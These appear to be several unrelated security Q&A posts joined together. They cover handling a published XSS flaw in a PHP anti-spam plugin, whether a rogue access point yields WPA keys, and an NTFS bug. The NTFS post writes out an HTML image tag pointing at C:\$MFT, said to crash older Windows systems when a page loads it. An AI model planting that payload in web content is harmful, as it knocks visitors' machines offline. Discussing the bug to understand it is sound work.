The equation usually does not work on a one-to-one though. You'd think if cost of breach is higher than cost to fix then carry out work to fix, but more commonly we see it being more like if cost of breach is more than 10x cost to fix then remediate.


How do I respond to a published security vulnerability in my application? In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity.

On May 11 someone who discovered an XSS vulnerability in the WordPress version of this code published it without notifying me first. Fortunately my users are on the ball and notified me on May 12. On May 13 I published a fix.

That wasn't the end of it.

Since then I've discovered that the vulnerability was added to a wide variety of databases such as OSVDB and CVE and various mirrors of those databases, with varying degrees of inaccuracy.

For instance, one such site lists somebody completely different as the author of the software. Another lists it as having never been patched.

So my ultimate concern is:

Since vulnerabilities in my application are going to be published all over the Internet whether I like it or not, how do I...

Find out about a zero-day vulnerability against my application as soon as possible, without having to receive irrelevant notifications?
Find out when vulnerability databases create entries related to my application?
Ensure the accuracy of vulnerability database entries related to my application?

For the future, there is one critical thing you should be doing:

Provide an easy way for people to report security bugs to you.

I took a look at the web page for your application, and I noticed it doesn't seem to list any way for a security researcher to contact you with a report of a security vulnerability.  There is no email address to report security vulnerabilities, or at least I couldn't find one.  I couldn't find a bug tracker that lets people submit a confidential security vulnerability report (or even any bug tracker at all that lets a member of the public submit a bug report, let alone a confidential report of a security bug).

See, e.g., CERT's Recommendations to vendors and Hey corporations: Provide a easy way to disclose vulnerabilities to you!.

Of course, this is not a silver bullet.  Even if you do provide a clear way to report a security vulnerability, some folks still might not contact you -- but some responsible researchers will.  In any case, I can tell you one thing: If you don't provide any obvious way to contact you with a security bug report, that significantly diminishes the likelihood that security researchers will do so in the future!

There are also some additional steps you could take, if you wanted, but these are optional and beyond what I would classify as important or essential for an open-source project:

Do a security assessment of your own code.

You could use security static analysis tools and black-box penetration testing tools to assess the security of your own code.  This way, you have a better chance of detecting any security problems yourself, before others discover them.

See, e.g., What are some good, free tools to run automated security audits for PHP code? and How to perform a security audit for a PHP application?.  Also, take a look at RIPS, a tool that scans your PHP code to try to find potential security vulnerabilities.
Follow places where vulnerabilies are disclosed.

You could try to keep track of various places where vulnerabilities are reported publicly.  For instance, you might follow the full-disclosure mailing list.


Is this possible to use fake AP to get wpa keys? Possible Duplicate:
  Is it possible to speed up WPA/WPA2-PSK cracking using a rogue AP?

Is it possible to get the WPA preshared key with a fake AP with the same SSID ?

Apparently not ;-)

Is it possible to speed up WPA/WPA2-PSK cracking using a rogue AP?

WPA/WPA2-PSK uses a PTK (Pairwise Transient Key) for each client to encrypt the communication !


How does this NTFS Bug work? A while back, (about 1 month ago), I submitted an NTFS DoS vulnerability on exploit-db. It got accepted and is currently on the website, but I do not quite understand how the vulnerability works, and why it does not work on Windows 10.

The bug references C:/$MFT in html.
<img src="C:\$MFT">. Once this code is in a webpage, anyone not running higher than Windows 8.1 will crash. This could even apply to this post, but of course it isnt, as this website allows for HTML code in a post.

How does this bug work? What causes the system to crash?

Apparently the system is crashing because he is endlessly trying to read the path, and every other programme running are stuck because they are waiting to access the NTFS drive but they cannot  since the web browser is already trying.